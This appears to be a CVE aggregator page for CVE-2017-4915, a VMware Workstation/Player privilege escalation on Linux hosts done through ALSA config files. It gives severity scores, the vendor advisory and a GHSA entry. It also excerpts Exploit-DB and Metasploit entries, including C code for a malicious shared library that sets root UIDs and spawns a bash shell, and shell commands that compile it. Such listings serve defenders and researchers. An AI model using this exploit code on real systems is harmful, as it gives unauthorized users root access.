CVE-2017-4915
published 2017-05-22CVE-2017-4915: VMware Workstation Pro/Player contains an insecure library loading vulnerability via ALSA sound driver configuration files. Successful exploitation of this…
PriorityP349high7.8CVSS 3.0
AVLACLPRLUINSUCHIHAH
EXPLOIT
EPSS
5.41%
91.8th percentile
VMware Workstation Pro/Player contains an insecure library loading vulnerability via ALSA sound driver configuration files. Successful exploitation of this issue may allow unprivileged host users to escalate their privileges to root in a Linux host machine.
Affected
6 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| vmware | vmware_workstation | — | — |
| vmware | workstation_player | — | — |
| vmware | workstation_player | — | — |
| vmware | workstation_pro | — | — |
| vmware | workstation_pro | — | — |
| vmware | workstation_pro_player | — | — |
CVSS provenance
nvdv3.07.8HIGHCVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
nvdv2.07.2HIGHAV:L/AC:L/Au:N/C:C/I:C/A:C
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
VMware
VMware Workstation update addresses multiple security issues
vendor_vmware·2017-05-18·CVSS 7.8
CVE-2017-4915 [HIGH] VMware Workstation update addresses multiple security issues
VMSA-2017-0009: VMware Workstation update addresses multiple security issues
a. VMware Workstation Insecure library loading vulnerability VMware Workstation Pro/Player contains an insecure library loading vulnerability via ALSA sound driver configuration files. Successful exploitation of this issue may allow unprivileged host users to escalate their privileges to root in a Linux host machine. VMware would like to thank Jann Horn of Google Project Zero for reporting this issue to us. The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the identifier CVE-2017-4915 to this issue. Column 5 of the following table lists the action required to remediate the vulnerability in each release, if a solution is available. VMware Product Product Version Running on Severity Repl
GHSA
GHSA-g6g4-xjv3-4fxg: VMware Workstation Pro/Player contains an insecure library loading vulnerability via ALSA sound driver configuration files
ghsa_unreviewed·2022-05-13
CVE-2017-4915 [HIGH] CWE-863 GHSA-g6g4-xjv3-4fxg: VMware Workstation Pro/Player contains an insecure library loading vulnerability via ALSA sound driver configuration files
VMware Workstation Pro/Player contains an insecure library loading vulnerability via ALSA sound driver configuration files. Successful exploitation of this issue may allow unprivileged host users to escalate their privileges to root in a Linux host machine.
No detection rules found.
Exploit-DB
VMware Workstation/Player < 12.5.5 - Local Privilege Escalation
exploitdb·2018-12-30·CVSS 7.8
CVE-2017-4915 [HIGH] VMware Workstation/Player < 12.5.5 - Local Privilege Escalation
VMware Workstation/Player "$VM_DIR/$RAND_STR.c"
#include
#include
#include
#include
#include
#include
extern char *program_invocation_short_name;
__attribute__((constructor)) void run(void) {
uid_t ruid, euid, suid;
if (getresuid(&ruid, &euid, &suid))
err(1, "getresuid");
printf("[*] Current UIDs: %d %d %d\n", ruid, euid, suid);
if (ruid == 0 || euid == 0 || suid == 0) {
if (setresuid(0, 0, 0) || setresgid(0, 0, 0))
err(1, "setresxid");
printf("switched to root UID and GID");
system("/bin/bash");
_exit(0);
}
}
EOL
echo "[*] Compiling $VM_DIR/$RAND_STR.c"
$GCC -shared -o "$VM_DIR/$RAND_STR.so" "$VM_DIR/$RAND_STR.c" -fPIC -Wall -ldl -std=gnu99
if [ $? -ne 0 ] ; then
echo "[-] Compilation failed"
exit 1
fi
echo "[*] Removing $VM_DIR/$RAND_STR.c"
rm "$VM_DIR/$RAND_STR.c"
echo "[*] Writing
Exploit-DB
VMware Workstation - ALSA Config File Local Privilege Escalation (Metasploit)
exploitdb·2018-01-05
VMware Workstation - ALSA Config File Local Privilege Escalation (Metasploit)
VMware Workstation - ALSA Config File Local Privilege Escalation (Metasploit)
---
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule 'VMware Workstation ALSA Config File Local Privilege Escalation',
'Description' => %q{
This module exploits a vulnerability in VMware Workstation Pro and
Player on Linux which allows users to escalate their privileges by
using an ALSA configuration file to load and execute a shared object
as root when launching a virtual machine with an attached sound card.
This module has been tested successfully on VMware Player version
12.5.0 on Debian Linux.
},
'References' =>
[
[ 'CVE', '2017-4915' ],
[ 'EDB', '42045' ],
[ 'BID', '98566' ],
[ 'URL', 'https://
Exploit-DB
VMware Workstation for Linux 12.5.2 build-4638234 - ALSA Configuration Host Local Privilege Escalation
exploitdb·2017-05-22
CVE-2017-4915 VMware Workstation for Linux 12.5.2 build-4638234 - ALSA Configuration Host Local Privilege Escalation
VMware Workstation for Linux 12.5.2 build-4638234 - ALSA Configuration Host Local Privilege Escalation
---
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1142
This vulnerability permits an unprivileged user on a Linux machine on
which VMWare Workstation is installed to gain root privileges.
The issue is that, for VMs with audio, the privileged VM host
process loads libasound, which parses ALSA configuration files,
including one at ~/.asoundrc. libasound is not designed to run in a
setuid context and deliberately permits loading arbitrary shared
libraries via dlopen().
To reproduce, run the following commands on a normal Ubuntu desktop
machine with VMWare Workstation installed:
~$ cd /tmp
/tmp$ cat > evil_vmware_lib.c
*/
#define _GNU_SOURCE
#include
#include
#i
Metasploit
VMware Workstation ALSA Config File Local Privilege Escalation
metasploit
VMware Workstation ALSA Config File Local Privilege Escalation
VMware Workstation ALSA Config File Local Privilege Escalation
This module exploits a vulnerability in VMware Workstation Pro and Player on Linux which allows users to escalate their privileges by using an ALSA configuration file to load and execute a shared object as root when launching a virtual machine with an attached sound card. This module has been tested successfully on VMware Player version 12.5.0 on Debian Linux 8 Jessie.
No writeups or analysis indexed.
http://www.securityfocus.com/bid/98566http://www.securitytracker.com/id/1038525https://www.exploit-db.com/exploits/42045/https://www.vmware.com/security/advisories/VMSA-2017-0009.htmlhttp://www.securityfocus.com/bid/98566http://www.securitytracker.com/id/1038525https://www.exploit-db.com/exploits/42045/https://www.vmware.com/security/advisories/VMSA-2017-0009.html
2017-05-22
Published